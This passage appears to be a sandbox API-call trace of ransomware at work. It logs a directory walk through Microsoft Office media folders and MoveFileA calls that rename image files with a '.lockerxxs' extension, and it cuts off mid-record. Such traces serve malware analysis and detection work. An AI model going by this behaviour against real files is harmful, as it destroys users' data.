office\\media\\cagcat10\\j0302953.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg.lockerxxs")) returned 1 [0061.762] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa04dd00, ftCreationTime.dwHighDateTime=0x1bf4531, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa04dd00, ftLastWriteTime.dwHighDateTime=0x1bf4531, nFileSizeHigh=0x0, nFileSizeLow=0x4d84, dwReserved0=0x3000003, dwReserved1=0x4f8120, cFileName="J0304933.WMF", cAlternateFileName="")) returned 1 [0061.762] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab12600, ftCreationTime.dwHighDateTime=0x1bf4533, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3ab12600, ftLastWriteTime.dwHighDateTime=0x1bf4533, nFileSizeHigh=0x0, nFileSizeLow=0x5af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305257.WMF", cAlternateFileName="")) returned 1 [0061.762] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x494c0d00, ftCreationTime.dwHighDateTime=0x1bf4534, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x494c0d00, ftLastWriteTime.dwHighDateTime=0x1bf4534, nFileSizeHigh=0x0, nFileSizeLow=0x3372, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305493.WMF", cAlternateFileName="")) returned 1 [0061.762] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8598100, ftCreationTime.dwHighDateTime=0x1bf71c6, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb8598100, ftLastWriteTime.dwHighDateTime=0x1bf71c6, nFileSizeHigh=0x0, nFileSizeLow=0x60e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0315447.JPG", cAlternateFileName="")) returned 1 [0061.767] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg.lockerxxs")) returned 1 [0061.768] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653ad300, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x653ad300, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x5168, dwReserved0=0x3000003, dwReserved1=0x4f8120, cFileName="J0332268.WMF", cAlternateFileName="")) returned 1 [0061.768] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x666c0000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x666c0000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x47c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332364.WMF", cAlternateFileName="")) returned 1 [0061.768] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5ca1000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc5ca1000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x1f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0335112.WMF", cAlternateFileName="")) returned 1 [0061.768] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 1 [0061.768] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 0 [0061.769] FindClose (in: hFindFile=0x4f8198 | out: hFindFile=0x4f8198) returned 1 [0061.769] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0061.769] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8198 [0061.770] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.770] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0061.770] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0061.771] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0061.771] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 1 [0061.773] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 0 [0061.773] FindClose (in: hFindFile=0x4f8120 | out: hFindFile=0x4f8120) returned 1 [0061.773] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="AUTOSHAP", cAlternateFileName="")) returned 1 [0061.773] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0061.777] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.778] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AUTOSHAP.DLL", cAlternateFileName="")) returned 1 [0061.782] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6154e300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6154e300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18180_.WMF", cAlternateFileName="")) returned 1 [0061.782] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4e1600, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe4e1600, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18181_.WMF", cAlternateFileName="")) returned 1 [0061.783] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ce0000, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0ce0000, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18182_.WMF", cAlternateFileName="")) returned 1 [0061.783] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12d7e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe12d7e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18184_.WMF", cAlternateFileName="")) returned 1 [0061.783] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8867900, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8867900, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18185_.WMF", cAlternateFileName="")) returned 1 [0061.783] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50bd100, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe50bd100, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x758, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18187_.WMF", cAlternateFileName="")) returned 1 [0061.783] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c95f00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84c95f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18189_.WMF", cAlternateFileName="")) returned 1 [0061.783] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18190_.WMF", cAlternateFileName="")) returned 1 [0061.784] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x171d3300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x171d3300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xc9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18191_.WMF", cAlternateFileName="")) returned 1 [0061.784] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6432a00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb6432a00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18192_.WMF", cAlternateFileName="")) returned 1 [0061.784] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd07d0800, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd07d0800, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18193_.WMF", cAlternateFileName="")) returned 1 [0061.784] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e33800, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29e33800, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0xdde, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18194_.WMF", cAlternateFileName="")) returned 1 [0061.784] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4404e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf4404e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18196_.WMF", cAlternateFileName="")) returned 1 [0061.785] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18197_.WMF", cAlternateFileName="")) returned 1 [0061.785] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18198_.WMF", cAlternateFileName="")) returned 1 [0061.785] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fdb1800, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fdb1800, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18199_.WMF", cAlternateFileName="")) returned 1 [0061.785] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd302000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfd302000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18200_.WMF", cAlternateFileName="")) returned 1 [0061.785] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c3c400, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3c3c400, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18201_.WMF", cAlternateFileName="")) returned 1 [0061.785] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18202_.WMF", cAlternateFileName="")) returned 1 [0061.786] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f586200, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f586200, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18203_.WMF", cAlternateFileName="")) returned 1 [0061.786] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7db3a00, ftCreationTime.dwHighDateTime=0x1bddcb2, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7db3a00, ftLastWriteTime.dwHighDateTime=0x1bddcb2, nFileSizeHigh=0x0, nFileSizeLow=0x814, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18204_.WMF", cAlternateFileName="")) returned 1 [0061.786] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58631200, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58631200, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18205_.WMF", cAlternateFileName="")) returned 1 [0061.786] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd5a600, ftCreationTime.dwHighDateTime=0x1bddc9f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4dd5a600, ftLastWriteTime.dwHighDateTime=0x1bddc9f, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18206_.WMF", cAlternateFileName="")) returned 1 [0061.786] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5e8e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf5e8e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xfbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18207_.WMF", cAlternateFileName="")) returned 1 [0061.786] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: 